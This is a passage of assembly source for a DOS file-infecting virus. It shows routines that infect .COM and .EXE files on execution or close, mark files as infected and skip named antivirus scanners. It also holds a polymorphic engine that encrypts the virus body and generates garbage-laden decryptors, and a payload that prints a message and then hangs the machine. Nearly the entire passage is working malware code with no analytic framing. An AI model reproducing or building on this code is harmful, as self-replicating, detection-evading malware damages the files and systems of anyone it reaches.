push word ptr es:[di+15h]
|
|
push word ptr es:[di+17h]
|
|
;Save file size
|
|
push word ptr es:[di+11h]
|
|
push word ptr es:[di+13h]
|
|
;Add virus size to file size
|
|
add word ptr es:[di+11h],lenvir
|
|
adc word ptr es:[di+13h],0000h
|
|
;Point to old header in file
|
|
call seek_end
|
|
sub word ptr es:[di+15h],0019h+01h
|
|
sbb word ptr es:[di+17h],0000h
|
|
;Read old header and encryption key
|
|
push cs
|
|
pop ds
|
|
mov ah,3Fh
|
|
mov cx,0019h+01h
|
|
mov dx,offset virus_copy
|
|
int 03h
|
|
jc exit_read
|
|
;Decrypt header
|
|
mov cx,0019h
|
|
push dx
|
|
pop si
|
|
mov al,byte ptr cs:[si+19h]
|
|
decrypt_header:
|
|
xor byte ptr cs:[si+00h],al
|
|
inc si
|
|
loop decrypt_header
|
|
;Move old header into read buffer
|
|
les di,dword ptr cs:[read_ptr]
|
|
mov si,offset virus_copy
|
|
mov cx,0019h-01h
|
|
mov ax,word ptr cs:[file_offset]
|
|
add di,ax
|
|
add si,ax
|
|
sub cx,ax
|
|
cld
|
|
rep movsb
|
|
exit_read:
|
|
call get_sft
|
|
;Restore file size
|
|
pop word ptr es:[di+13h]
|
|
pop word ptr es:[di+11h]
|
|
;Restore old offset in file
|
|
pop word ptr es:[di+17h]
|
|
pop word ptr es:[di+15h]
|
|
;Restore regs and exit
|
|
call unhook_ints
|
|
call pop_all
|
|
stc
|
|
cmc
|
|
retf 2
|
|
;----------------------------------------------------------------------------
|
|
;Infect file at execution ds:dx ptr to filename
|
|
;----------------------------------------------------------------------------
|
|
dos_exec:
|
|
;Open file for read-only
|
|
mov ax,3D00h
|
|
int 03h
|
|
jnc ok_file_open
|
|
jmp file_error
|
|
ok_file_open:
|
|
xchg bx,ax
|
|
jmp short from_open
|
|
;----------------------------------------------------------------------------
|
|
;Infect file at close
|
|
;----------------------------------------------------------------------------
|
|
dos_close:
|
|
call pop_all
|
|
call push_all
|
|
;Duplicate handle
|
|
mov ah,45h
|
|
int 03h
|
|
jc file_error
|
|
xchg bx,ax
|
|
push ax
|
|
;Close new handle in order to update directory entry
|
|
mov ah,3Eh
|
|
int 03h
|
|
pop bx
|
|
from_open:
|
|
;Get sft address in es:di
|
|
call get_sft
|
|
jc file_error
|
|
;Check device info word
|
|
mov ax,word ptr es:[di+05h]
|
|
;Check if character device handle
|
|
test al,80h
|
|
jnz file_error
|
|
;Check if remote file handle
|
|
test ah,0Fh
|
|
jnz file_error
|
|
;Check if file is already infected
|
|
mov al,byte ptr es:[di+0Dh]
|
|
mov ah,1Fh
|
|
and al,ah
|
|
cmp al,ah
|
|
je file_error
|
|
;Do not infect files with todays date
|
|
mov al,byte ptr es:[di+0Fh]
|
|
and al,1Fh
|
|
cmp al,byte ptr cs:[today]
|
|
je file_error
|
|
;Check file name in sft
|
|
mov cx,0Bh
|
|
mov si,di
|
|
name_loop:
|
|
;Do not infect files with numbers in their file name
|
|
cmp byte ptr es:[si+20h],"0"
|
|
jb file_name1
|
|
cmp byte ptr es:[si+20h],"9"
|
|
jbe file_error
|
|
file_name1:
|
|
;Do not infect files witch name contains v's
|
|
cmp byte ptr es:[si+20h],"V"
|
|
je file_error
|
|
;Do not infect files with mo in their name
|
|
inc si
|
|
loop name_loop
|
|
;Get first pair
|
|
mov ax,word ptr es:[di+20h]
|
|
;Do not infect Thunderbyte antivirus utils
|
|
cmp ax,"BT"
|
|
je file_error
|
|
;Do not infect McAfee's Scan
|
|
cmp ax,"CS"
|
|
je file_error
|
|
;Do not infect F-Prot scanner
|
|
cmp ax,"-F"
|
|
je file_error
|
|
;Do not infect Solomon's Guard
|
|
cmp ax,"UG"
|
|
jne file_infection
|
|
file_error:
|
|
jmp m21h_exit
|
|
file_infection:
|
|
;Save and set file open mode (read/write)
|
|
mov cx,0002h
|
|
xchg cx,word ptr es:[di+02h]
|
|
push cx
|
|
;Save and set file attribute
|
|
xor al,al
|
|
xchg al,byte ptr es:[di+04h]
|
|
push ax
|
|
test al,04h
|
|
jnz system_file
|
|
;Save and set file pointer position
|
|
push word ptr es:[di+15h]
|
|
push word ptr es:[di+17h]
|
|
call seek_begin
|
|
;Read first 20h bytes
|
|
push cs
|
|
pop ds
|
|
mov ah,3Fh
|
|
mov cx,0020h
|
|
mov dx,offset file_buffer
|
|
int 03h
|
|
;Seek to end of file and get file size
|
|
call seek_end
|
|
;Do not infect too small .exe or .com files
|
|
or dx,dx
|
|
jnz ok_min_size
|
|
cmp ax,lenvir+0410h
|
|
jbe exit_inf
|
|
ok_min_size:
|
|
;Check for .com extension
|
|
cmp word ptr es:[di+28h],"OC"
|
|
jne no_com
|
|
cmp byte ptr es:[di+2Ah],"M"
|
|
je inf_com
|
|
no_com:
|
|
;Check for .exe mark in file header
|
|
mov cx,word ptr cs:[file_buffer+00h]
|
|
;Add markers M+Z
|
|
add cl,ch
|
|
cmp cl,"Z"+"M"
|
|
jne exit_inf
|
|
;Check for .exe extension
|
|
cmp word ptr es:[di+28h],"XE"
|
|
jne exit_inf
|
|
cmp byte ptr es:[di+2Ah],"E"
|
|
jne exit_inf
|
|
jmp inf_exe
|
|
;----------------------------------------------------------------------------
|
|
;Exit from file infection
|
|
;----------------------------------------------------------------------------
|
|
exit_inf:
|
|
;Restore file pointer position
|
|
pop word ptr es:[di+17h]
|
|
pop word ptr es:[di+15h]
|
|
system_file:
|
|
;Restore file attribute
|
|
pop ax
|
|
mov byte ptr es:[di+04h],al
|
|
;Restore file open mode
|
|
pop word ptr es:[di+02h]
|
|
;Do not set file date/time on closing
|
|
or byte ptr es:[di+06h],40h
|
|
;Check if close function
|
|
cmp byte ptr cs:[dos_function+01h],(3Eh xor 0FFh)
|
|
je no_close_file
|
|
;Close file
|
|
mov ah,3Eh
|
|
int 03h
|
|
no_close_file:
|
|
jmp m21h_exit
|
|
;----------------------------------------------------------------------------
|
|
;Infect .COM file
|
|
;----------------------------------------------------------------------------
|
|
inf_com:
|
|
;Don't infect too big .com files
|
|
cmp ax,0FFFFh-(lenvir+10h)
|
|
jae exit_inf
|
|
;Copy header
|
|
call copy_header
|
|
;Get file length as entry point
|
|
sub ax,03h
|
|
;Write a jump to virus into header
|
|
mov byte ptr cs:[file_buffer+00h],0E9h
|
|
mov word ptr cs:[file_buffer+01h],ax
|
|
;Set .com marker
|
|
mov byte ptr cs:[prog_type],"C"
|
|
;Encrypt and infect
|
|
jmp get_control
|
|
;----------------------------------------------------------------------------
|
|
;Infect .EXE file
|
|
;----------------------------------------------------------------------------
|
|
inf_exe:
|
|
;Don't infect Windows programs
|
|
cmp word ptr cs:[file_buffer+18h],0040h
|
|
jae bad_exe
|
|
;Don't infect overlays
|
|
cmp word ptr cs:[file_buffer+1Ah],0000h
|
|
jne bad_exe
|
|
;Check maxmem field
|
|
cmp word ptr cs:[file_buffer+0Ch],0FFFFh
|
|
jne bad_exe
|
|
;Save file size
|
|
push ax
|
|
push dx
|
|
;Page ends on 0200h boundary
|
|
mov cx,0200h
|
|
div cx
|
|
or dx,dx
|
|
jz no_round_1
|
|
inc ax
|
|
no_round_1:
|
|
cmp ax,word ptr cs:[file_buffer+04h]
|
|
jne no_fit_size
|
|
cmp dx,word ptr cs:[file_buffer+02h]
|
|
je header_ok
|
|
no_fit_size:
|
|
pop dx
|
|
pop ax
|
|
bad_exe:
|
|
;Exit if cant infect .exe
|
|
jmp exit_inf
|
|
header_ok:
|
|
call copy_header
|
|
pop dx
|
|
pop ax
|
|
push ax
|
|
push dx
|
|
mov cx,10h
|
|
div cx
|
|
sub ax,word ptr cs:[file_buffer+08h]
|
|
;Store new entry point
|
|
mov word ptr cs:[file_buffer+14h],dx
|
|
mov word ptr cs:[file_buffer+16h],ax
|
|
;Store new stack position
|
|
add dx,lenvir+0410h
|
|
and dx,0FFFEh
|
|
inc ax
|
|
mov word ptr cs:[file_buffer+0Eh],ax
|
|
mov word ptr cs:[file_buffer+10h],dx
|
|
;Restore size
|
|
pop dx
|
|
pop ax
|
|
;Add virus size to file size
|
|
add ax,lenvir
|
|
adc dx,0000h
|
|
;Page ends on 0200h boundary
|
|
mov cx,0200h
|
|
div cx
|
|
or dx,dx
|
|
jz no_round_2
|
|
inc ax
|
|
no_round_2:
|
|
;Store new size
|
|
mov word ptr cs:[file_buffer+04h],ax
|
|
mov word ptr cs:[file_buffer+02h],dx
|
|
;Set .exe marker
|
|
mov byte ptr cs:[prog_type],"E"
|
|
;Encryption an infection continues on next routine
|
|
;----------------------------------------------------------------------------
|
|
;Encryption and physical infection
|
|
;----------------------------------------------------------------------------
|
|
get_control:
|
|
call do_encrypt
|
|
;Write virus body to the end of file
|
|
mov ah,40h
|
|
mov cx,lenvir
|
|
mov dx,offset virus_copy
|
|
int 03h
|
|
jc no_good_write
|
|
;Seek to beginning of file
|
|
call seek_begin
|
|
;Write new header
|
|
mov ah,40h
|
|
mov cx,0019h-01h
|
|
mov dx,offset file_buffer
|
|
int 03h
|
|
;Mark file as infected
|
|
or byte ptr es:[di+0Dh],1Fh
|
|
no_good_write:
|
|
;Jump to infection end
|
|
jmp exit_inf
|
|
;----------------------------------------------------------------------------
|
|
;Encrypt virus body with variable key and generate a
|
|
;polymorphic decryptor.
|
|
;----------------------------------------------------------------------------
|
|
do_encrypt:
|
|
call push_all
|
|
;Initialize engine
|
|
xor ax,ax
|
|
mov word ptr cs:[last_subroutine],ax
|
|
mov word ptr cs:[decrypt_sub],ax
|
|
mov word ptr cs:[last_fill_type],ax
|
|
dec ax
|
|
mov word ptr cs:[last_step_type],ax
|
|
mov byte ptr cs:[last_int_type],al
|
|
mov byte ptr cs:[decrypt_pointer],al
|
|
;Choose counter and pointer register
|
|
call get_rnd
|
|
and al,01h
|
|
mov byte ptr cs:[address_register],al
|
|
;Choose register for decryption instructions
|
|
call get_rnd
|
|
and al,38h
|
|
mov byte ptr cs:[decrypt_register],al
|
|
;Chose segment registers for memory operations
|
|
call get_seg_reg
|
|
mov byte ptr cs:[address_seg_1],al
|
|
call get_seg_reg
|
|
mov byte ptr cs:[address_seg_2],al
|
|
;Fill our buffer with garbage
|
|
mov ax,cs
|
|
mov ds,ax
|
|
mov es,ax
|
|
mov di,offset virus_copy
|
|
push di
|
|
mov cx,decryptor
|
|
cld
|
|
fill_garbage:
|
|
call get_rnd
|
|
stosb
|
|
loop fill_garbage
|
|
pop di
|
|
;Now es:di points to the buffer were engine put polymorphic code
|
|
choose_type:
|
|
;Select the type of filler
|
|
mov ax,(end_step_table-step_table)/2
|
|
call rand_in_range
|
|
;Avoid same types in a row
|
|
cmp ax,word ptr cs:[last_step_type]
|
|
je choose_type
|
|
mov word ptr cs:[last_step_type],ax
|
|
add ax,ax
|
|
mov bx,ax
|
|
cld
|
|
call word ptr cs:[step_table+bx]
|
|
cmp byte ptr cs:[decrypt_pointer],05h
|
|
jne choose_type
|
|
;Generate some garbage
|
|
call rnd_garbage
|
|
;Generate a jump to virus body
|
|
mov al,0E9h
|
|
stosb
|
|
mov ax,decryptor
|
|
mov bx,di
|
|
sub bx,offset virus_copy-02h
|
|
sub ax,bx
|
|
stosw
|
|
;Store random crypt value
|
|
get_rnd_key:
|
|
call get_rnd
|
|
or al,al
|
|
jz get_rnd_key
|
|
xchg bx,ax
|
|
mov byte ptr cs:[clave_crypt],bl
|
|
;Copy virus body to the working area while encrypt
|
|
mov si,offset virus_body
|
|
mov di,offset virus_copy+decryptor
|
|
mov cx,lenvir-decryptor-01h
|
|
cld
|
|
load_crypt:
|
|
lodsb
|
|
xor al,bl
|
|
stosb
|
|
loop load_crypt
|
|
;Store key without encryption
|
|
movsb
|
|
;Restore all regs and return to infection routine
|
|
call pop_all
|
|
ret
|
|
;-----------------------------------------------------------------------------
|
|
;Get a valid opcode for memory operations
|
|
;-----------------------------------------------------------------------------
|
|
get_seg_reg:
|
|
cmp byte ptr cs:[prog_type],"C"
|
|
je use_ds_es
|
|
mov al,2Eh
|
|
ret
|
|
use_ds_es:
|
|
call get_rnd
|
|
and al,18h
|
|
cmp al,10h
|
|
je get_seg_reg
|
|
or al,26h
|
|
ret
|
|
;-----------------------------------------------------------------------------
|
|
;Generate next decryptor instruction
|
|
;-----------------------------------------------------------------------------
|
|
next_decryptor:
|
|
;Next instruction counter
|
|
inc byte ptr cs:[decrypt_pointer]
|
|
;Check if there is a subroutine witch contains next decryptor instruction
|
|
cmp word ptr cs:[decrypt_sub],0000h
|
|
je build_now
|
|
;If so build a call instruction to that subroutine
|
|
call do_call_decryptor
|
|
ret
|
|
build_now:
|
|
;Else get next instruction to build
|
|
mov bl,byte ptr cs:[decrypt_pointer]
|
|
;Generate decryption instructions just into subroutines
|
|
cmp bl,03h
|
|
jne entry_from_sub
|
|
;No instruction was created so restore old pointer
|
|
dec byte ptr cs:[decrypt_pointer]
|
|
ret
|
|
entry_from_sub:
|
|
;Entry point if calling from decryptor subroutine building
|
|
xor bh,bh
|
|
add bx,bx
|
|
;Build instruction
|
|
call word ptr cs:[instruction_table+bx]
|
|
ret
|
|
;-----------------------------------------------------------------------------
|
|
;Get delta offset
|
|
;-----------------------------------------------------------------------------
|
|
inst_get_delta:
|
|
;Decode a call to next instruction and pop bp
|
|
push di
|
|
mov ax,00E8h
|
|
stosw
|
|
mov ax,5D00h
|
|
stosw
|
|
;Generate some garbage
|
|
call rnd_garbage
|
|
;Decode a sub bp
|
|
mov ax,0ED81h
|
|
stosw
|
|
;Store address of label
|
|
pop ax
|
|
sub ax,offset virus_copy-0103h
|
|
no_sub_psp:
|
|
stosw
|
|
ret
|
|
;-----------------------------------------------------------------------------
|
|
;Load counter register
|
|
;-----------------------------------------------------------------------------
|
|
inst_load_counter:
|
|
mov al,0BEh
|
|
add al,byte ptr cs:[address_register]
|
|
stosb
|
|
;Store size of encrypted data
|
|
mov ax,lenvir-decryptor-01h
|
|
stosw
|
|
ret
|
|
;-----------------------------------------------------------------------------
|
|
;Load pointer to encrypted data
|
|
;-----------------------------------------------------------------------------
|
|
inst_load_pointer:
|
|
;Load di as pointer
|
|
mov al,0BFh
|
|
sub al,byte ptr cs:[address_register]
|
|
stosb
|
|
;Store offset position of encrypted data
|
|
mov ax,offset virus_body
|
|
stosw
|
|
;Generate garbage in some cases
|
|
call rnd_garbage
|
|
;Generate add reg,bp
|
|
mov ch,byte ptr cs:[address_register]
|
|
mov cl,03h
|
|
rol ch,cl
|
|
mov ax,0FD03h
|
|
sub ah,ch
|
|
stosw
|
|
ret
|
|
;-----------------------------------------------------------------------------
|
|
;Decrypt one byte from encrypted data
|
|
;-----------------------------------------------------------------------------
|
|
inst_decrypt_one:
|
|
;Decode a mov reg,byte ptr cs:[key][bp]
|
|
mov al,byte ptr cs:[address_seg_1]
|
|
mov ah,8Ah
|
|
stosw
|
|
mov al,byte ptr cs:[decrypt_register]
|
|
or al,86h
|
|
stosb
|
|
;Store position of encryption key
|
|
mov ax,offset clave_crypt
|
|
stosw
|
|
;Decode a xor byte ptr cs:[si],reg
|
|
mov al,byte ptr cs:[address_seg_2]
|
|
mov ah,30h
|
|
stosw
|
|
mov al,byte ptr cs:[decrypt_register]
|
|
or al,05h
|
|
sub al,byte ptr cs:[address_register]
|
|
stosb
|
|
ret
|
|
;-----------------------------------------------------------------------------
|
|
;Increment pointer to encrypted zone
|
|
;-----------------------------------------------------------------------------
|
|
inst_inc_pointer:
|
|
mov al,47h
|
|
sub al,byte ptr cs:[address_register]
|
|
stosb
|
|
ret
|
|
;-----------------------------------------------------------------------------
|
|
;Decrement counter and loop
|
|
;-----------------------------------------------------------------------------
|
|
inst_dec_loop:
|
|
;Decode a dec reg instruction
|
|
mov al,4Eh
|
|
add al,byte ptr cs:[address_register]
|
|
stosb
|
|
;Decode a jz
|
|
mov al,74h
|
|
stosb
|
|
push di
|
|
inc di
|
|
;Generate some garbage instructions
|
|
call rnd_garbage
|
|
;Decode a jmp to loop instruction
|
|
mov al,0E9h
|
|
stosb
|
|
mov ax,word ptr cs:[address_loop]
|
|
sub ax,di
|
|
dec ax
|
|
dec ax
|
|
stosw
|
|
;Generate some garbage instructions
|
|
call rnd_garbage
|
|
;Store jz displacement
|
|
mov ax,di
|
|
pop di
|
|
push ax
|
|
sub ax,di
|
|
dec ax
|
|
stosb
|
|
pop di
|
|
ret
|
|
;-----------------------------------------------------------------------------
|
|
;Generate some garbage instructions if rnd
|
|
;-----------------------------------------------------------------------------
|
|
rnd_garbage:
|
|
call get_rnd
|
|
and al,01h
|
|
jz do_rnd_garbage
|
|
ret
|
|
do_rnd_garbage:
|
|
call g_generator
|
|
ret
|
|
;-----------------------------------------------------------------------------
|
|
;Generate a push reg and garbage and pop reg
|
|
;-----------------------------------------------------------------------------
|
|
do_push_g_pop:
|
|
;Build a random push pop
|
|
call do_push_pop
|
|
;Get pop instruction
|
|
dec di
|
|
mov al,byte ptr cs:[di+00h]
|
|
push ax
|
|
call g_generator
|
|
pop ax
|
|
stosb
|
|
ret
|
|
;-----------------------------------------------------------------------------
|
|
;Generate a subroutine witch contains garbage code.
|
|
;-----------------------------------------------------------------------------
|
|
do_subroutine:
|
|
cmp word ptr cs:[last_subroutine],0000h
|
|
je create_routine
|
|
ret
|
|
create_routine:
|
|
;Generate a jump instruction
|
|
mov al,0E9h
|
|
stosb
|
|
;Save address for jump construction
|
|
push di
|
|
;Save address of subroutine
|
|
mov word ptr cs:[last_subroutine],di
|
|
;Get subroutine address
|
|
inc di
|
|
inc di
|
|
;Generate some garbage code
|
|
call g_generator
|
|
;Insert ret instruction
|
|
mov al,0C3h
|
|
stosb
|
|
;Store jump displacement
|
|
mov ax,di
|
|
pop di
|
|
push ax
|
|
sub ax,di
|
|
dec ax
|
|
dec ax
|
|
stosw
|
|
pop di
|
|
ret
|
|
;-----------------------------------------------------------------------------
|
|
;Generate a subroutine witch contains one decryptor instruction
|
|
;-----------------------------------------------------------------------------
|
|
sub_decryptor:
|
|
cmp word ptr cs:[decrypt_sub],0000h
|
|
je ok_subroutine
|
|
ret
|
|
ok_subroutine:
|
|
;Do not generate the loop branch into a subroutine
|
|
mov bl,byte ptr cs:[decrypt_pointer]
|
|
inc bl
|
|
cmp bl,05h
|
|
jne no_loop_sub
|
|
ret
|
|
no_loop_sub:
|
|
;Generate a jump instruction
|
|
mov al,0E9h
|
|
stosb
|
|
;Save address for jump construction
|
|
push di
|
|
;Save address of subroutine
|
|
mov word ptr cs:[decrypt_sub],di
|
|
inc di
|
|
inc di
|
|
push bx
|
|
call rnd_garbage
|
|
pop bx
|
|
call entry_from_sub
|
|
call rnd_garbage
|
|
build_return:
|
|
;Insert ret instruction
|
|
mov al,0C3h
|
|
stosb
|
|
;Store jump displacement
|
|
mov ax,di
|
|
pop di
|
|
push ax
|
|
sub ax,di
|
|
dec ax
|
|
dec ax
|
|
stosw
|
|
pop di
|
|
ret
|
|
;-----------------------------------------------------------------------------
|
|
;Generate a call instruction to a subroutine witch contains
|
|
;next decryptor instruction
|
|
;-----------------------------------------------------------------------------
|
|
do_call_decryptor:
|
|
cmp byte ptr cs:[decrypt_pointer],03h
|
|
jne no_store_call
|
|
;Save position
|
|
mov word ptr cs:[address_loop],di
|
|
no_store_call:
|
|
;Build a call to our subroutine
|
|
mov al,0E8h
|
|
stosb
|
|
mov ax,word ptr cs:[decrypt_sub]
|
|
sub ax,di
|
|
stosw
|
|
;Do not use this subrotine again
|
|
mov word ptr cs:[decrypt_sub],0000h
|
|
ret
|
|
;-----------------------------------------------------------------------------
|
|
;Generate a call instruction to a subroutine witch some garbage code
|
|
;-----------------------------------------------------------------------------
|
|
do_call_garbage:
|
|
mov cx,word ptr cs:[last_subroutine]
|
|
;Check if there is a subroutine to call
|
|
or cx,cx
|
|
jnz ok_call
|
|
;No, so exit
|
|
ret
|
|
ok_call:
|
|
;Build a call to our garbage subroutine
|
|
mov al,0E8h
|
|
stosb
|
|
mov ax,cx
|
|
sub ax,di
|
|
stosw
|
|
;Do not use this subrotine again
|
|
mov word ptr cs:[last_subroutine],0000h
|
|
ret
|
|
;-----------------------------------------------------------------------------
|
|
;Generate a branch followed by some garbage code
|
|
;-----------------------------------------------------------------------------
|
|
do_branch:
|
|
;Generate a random conditional jump instruction
|
|
call get_rnd
|
|
and al,07h
|
|
or al,70h
|
|
stosb
|
|
;Save address for jump construction
|
|
push di
|
|
;Get subroutine address
|
|
inc di
|
|
;Generate some garbage code
|
|
call g_generator
|
|
;Store jump displacement
|
|
mov ax,di
|
|
pop di
|
|
push ax
|
|
sub ax,di
|
|
dec ax
|
|
stosb
|
|
pop di
|
|
ret
|
|
;-----------------------------------------------------------------------------
|
|
;Lay down between 2 and 5 filler opcodes selected from the available
|
|
;types
|
|
;-----------------------------------------------------------------------------
|
|
g_generator:
|
|
;Get a random number for fill count
|
|
call get_rnd
|
|
and ax,03h
|
|
;Min 2, max 5 opcodes
|
|
inc ax
|
|
inc ax
|
|
next_fill:
|
|
push ax
|
|
new_fill:
|
|
;Select the type of filler
|
|
mov ax,(end_op_table-op_table)/2
|
|
call rand_in_range
|
|
;Avoid same types in a row
|
|
cmp ax,word ptr cs:[last_fill_type]
|
|
je new_fill
|
|
mov word ptr cs:[last_fill_type],ax
|
|
add ax,ax
|
|
mov bx,ax
|
|
call word ptr cs:[op_table+bx]
|
|
pop ax
|
|
dec ax
|
|
jnz next_fill
|
|
ret
|
|
;-----------------------------------------------------------------------------
|
|
;Makes an opcode of type mov reg,immediate value
|
|
;either 8 or 16 bit value
|
|
;but never ax or al or sp,di,si or bp
|
|
;-----------------------------------------------------------------------------
|
|
move_imm:
|
|
call get_rnd
|
|
;Get a reggie
|
|
and al,0Fh
|
|
;Make it a mov reg,
|
|
or al,0B0h
|
|
test al,00001000b
|
|
jz is_8bit_mov
|
|
;Make it ax,bx cx or dx
|
|
and al,11111011b
|
|
mov ah,al
|
|
and ah,03h
|
|
;Not ax or al
|
|
jz move_imm
|
|
stosb
|
|
call rand_16
|
|
stosw
|
|
ret
|
|
is_8bit_mov:
|
|
mov bh,al
|
|
;Is al?
|
|
and bh,07h
|
|
;Yeah bomb
|
|
jz move_imm
|
|
stosb
|
|
call get_rnd
|
|
stosb
|
|
ret
|
|
;-----------------------------------------------------------------------------
|
|
;Now we knock boots with mov reg,reg's
|
|
;but never to al or ax.
|
|
;-----------------------------------------------------------------------------
|
|
move_with_reg:
|
|
call rand_16
|
|
;Preserve reggies and 8/16 bit
|
|
and ax,0011111100000001b
|
|
;Or it with addr mode and make it mov
|
|
or ax,1100000010001010b
|
|
reg_test:
|
|
test al,1
|
|
jz is_8bit_move_with_reg
|
|
;Make source and dest = ax,bx,cx,dx
|
|
and ah,11011011b
|
|
is_8bit_move_with_reg:
|
|
mov bl,ah
|
|
and bl,00111000b
|
|
;No mov ax, 's please
|
|
jz move_with_reg
|
|
;Let's see if 2 reggies are same reggies.
|
|
mov bh,ah
|
|
sal bh,1
|
|
sal bh,1
|
|
sal bh,1
|
|
and bh,00111000b
|
|
;Check if reg,reg are same
|
|
cmp bh,bl
|
|
jz move_with_reg
|
|
stosw
|
|
ret
|
|
;-----------------------------------------------------------------------------
|
|
;Modify a mov reg,reg into an xchg reg,reg
|
|
;-----------------------------------------------------------------------------
|
|
reg_exchange:
|
|
;Make a mov reg,reg
|
|
call move_with_reg
|
|
;But then remove it
|
|
dec di
|
|
;And take advantage of the fact the opcode is still in ax
|
|
dec di
|
|
;Was a 16 bit type?
|
|
test al,1b
|
|
;Yeah go for an 8 bitter
|
|
jnz reg_exchange
|
|
mov bh,ah
|
|
;Is one of reggies ax?
|
|
and bh,07h
|
|
;Yah so bomb
|
|
jz reg_exchange
|
|
;Else make it xchg ah,dl etc...
|
|
mov al,10000110b
|
|
stosw
|
|
ret
|
|
;-----------------------------------------------------------------------------
|
|
;We don't have to watch our stack if we pair up pushes with pops
|
|
;so I slapped together this peice of shoddy work to add em.
|
|
;-----------------------------------------------------------------------------
|
|
do_push_pop:
|
|
mov ax,(end_bytes_2-bytes_2)/2
|
|
call rand_in_range
|
|
add ax,ax
|
|
mov bx,ax
|
|
;Generate push and pop instruction
|
|
mov ax,word ptr cs:[bytes_2+bx]
|
|
stosw
|
|
ret
|
|
;-----------------------------------------------------------------------------
|
|
;Generate a random int 21h call.
|
|
;-----------------------------------------------------------------------------
|
|
do_int_21h:
|
|
;Do not generate int 21h calls into boot sectore decryptor
|
|
cmp byte ptr cs:[prog_type],"B"
|
|
je no_generate_int
|
|
;Do not generate int 21h calls into decryption loop
|
|
cmp byte ptr cs:[decrypt_pointer],02h
|
|
jb no_in_loop
|
|
no_generate_int:
|
|
ret
|
|
no_in_loop:
|
|
call get_rnd
|
|
;Choose within ah,function or ax,function+subfunction
|
|
and al,01h
|
|
jz do_int_ax
|
|
do_int_ah:
|
|
mov ax,end_ah_table-ah_table
|
|
call rand_in_range
|
|
mov bx,ax
|
|
mov ah,byte ptr cs:[ah_table+bx]
|
|
;Do not generate same int's in a row
|
|
cmp ah,byte ptr cs:[last_int_type]
|
|
jz do_int_ah
|
|
;Generate mov ah,function
|
|
mov byte ptr cs:[last_int_type],ah
|
|
mov al,0B4h
|
|
stosw
|
|
;Generate int 21h
|
|
mov ax,021CDh
|
|
stosw
|
|
ret
|
|
do_int_ax:
|
|
mov ax,(end_ax_table-ax_table)/2
|
|
call rand_in_range
|
|
add ax,ax
|
|
mov bx,ax
|
|
mov ax,word ptr cs:[ax_table+bx]
|
|
;Do not generate same int's in a row
|
|
cmp ah,byte ptr cs:[last_int_type]
|
|
jz do_int_ax
|
|
mov byte ptr cs:[last_int_type],ah
|
|
;Generate mov ax,function
|
|
mov byte ptr es:[di+00h],0B8h
|
|
inc di
|
|
stosw
|
|
;Generate int 21h
|
|
mov ax,021CDh
|
|
stosw
|
|
ret
|
|
;-----------------------------------------------------------------------------
|
|
;Simple timer based random numbers but with a twist using xor of last one.
|
|
;-----------------------------------------------------------------------------
|
|
get_rnd:
|
|
in ax,40h
|
|
xor ax, 0FFFFh
|
|
org $-2
|
|
Randomize dw 0000h
|
|
mov [Randomize],ax
|
|
ret
|
|
;-----------------------------------------------------------------------------
|
|
;A small variation to compensate for lack of randomocity in the
|
|
;high byte of 16 bit result returned by get_rnd.
|
|
;-----------------------------------------------------------------------------
|
|
rand_16:
|
|
call get_rnd
|
|
mov bl,al
|
|
call get_rnd
|
|
mov ah,bl
|
|
ret
|
|
;-----------------------------------------------------------------------------
|
|
;Generate a random number betwin 0 and ax.
|
|
;-----------------------------------------------------------------------------
|
|
rand_in_range:
|
|
;Returns a random num between 0 and entry ax
|
|
push bx
|
|
push dx
|
|
xchg ax,bx
|
|
call get_rnd
|
|
xor dx,dx
|
|
div bx
|
|
;Remainder in dx
|
|
xchg ax,dx
|
|
pop dx
|
|
pop bx
|
|
ret
|
|
;----------------------------------------------------------------------------
|
|
;Return the al vector in es:bx
|
|
;----------------------------------------------------------------------------
|
|
get_int:
|
|
push ax
|
|
xor ah,ah
|
|
rol ax,1
|
|
rol ax,1
|
|
xchg bx,ax
|
|
xor ax,ax
|
|
mov es,ax
|
|
les bx,dword ptr es:[bx+00h]
|
|
pop ax
|
|
ret
|
|
;----------------------------------------------------------------------------
|
|
;Set al interrupt vector to ds:dx pointer
|
|
;----------------------------------------------------------------------------
|
|
set_int:
|
|
push ax
|
|
push bx
|
|
push ds
|
|
cli
|
|
xor ah,ah
|
|
rol ax,1
|
|
rol ax,1
|
|
xchg ax,bx
|
|
push ds
|
|
xor ax,ax
|
|
mov ds,ax
|
|
mov word ptr ds:[bx+00h],dx
|
|
pop word ptr ds:[bx+02h]
|
|
sti
|
|
pop ds
|
|
pop bx
|
|
pop ax
|
|
ret
|
|
;----------------------------------------------------------------------------
|
|
;Print message to screen
|
|
;----------------------------------------------------------------------------
|
|
print_credits:
|
|
;Set VGA video mode 03h
|
|
push bp
|
|
mov ax,0003h
|
|
int 10h
|
|
;Print string
|
|
mov ax,1301h
|
|
mov bx,0002h
|
|
mov cx,003Ah
|
|
mov dx,0A0Bh
|
|
push cs
|
|
pop es
|
|
pop bp
|
|
add bp,offset text_birthday
|
|
int 10h
|
|
exit_print:
|
|
;Infinite loop
|
|
jmp exit_print
|
|
;----------------------------------------------------------------------------
|
|
;Get sft address in es:di
|
|
;----------------------------------------------------------------------------
|
|
get_sft:
|
|
;File handle in bx
|
|
push bx
|
|
;Get job file table entry to es:di
|
|
mov ax,1220h
|
|
int 2Fh
|
|
jc error_sft
|
|
;Exit if handle not opened
|
|
xor bx,bx
|
|
mov bl,byte ptr es:[di+00h]
|
|
cmp bl,0FFh
|
|
je error_sft
|
|
;Get address of sft entry number bx to es:di
|
|
mov ax,1216h
|
|
int 2Fh
|
|
jc error_sft
|
|
pop bx
|
|
stc
|
|
cmc
|
|
ret
|
|
;Exit with error
|
|
error_sft:
|
|
pop bx
|
|
stc
|
|
ret
|
|
;----------------------------------------------------------------------------
|
|
;Seek to end of file
|
|
;----------------------------------------------------------------------------
|
|
seek_end:
|
|
call get_sft
|
|
mov ax,word ptr es:[di+11h]
|
|
mov dx,word ptr es:[di+13h]
|
|
mov word ptr es:[di+17h],dx
|
|
mov word ptr es:[di+15h],ax
|
|
ret
|
|
;----------------------------------------------------------------------------
|
|
;Seek to beginning
|
|
;----------------------------------------------------------------------------
|
|
seek_begin:
|
|
call get_sft
|
|
xor ax,ax
|
|
mov word ptr es:[di+17h],ax
|
|
mov word ptr es:[di+15h],ax
|
|
ret
|
|
;----------------------------------------------------------------------------
|
|
;Virus CRITICAL ERROR interrupt handler
|
|
;----------------------------------------------------------------------------
|
|
my_int24h:
|
|
sti
|
|
;Return error in function
|
|
mov al,3
|
|
iret
|
|
;----------------------------------------------------------------------------
|
|
;Save all registers in the stack
|
|
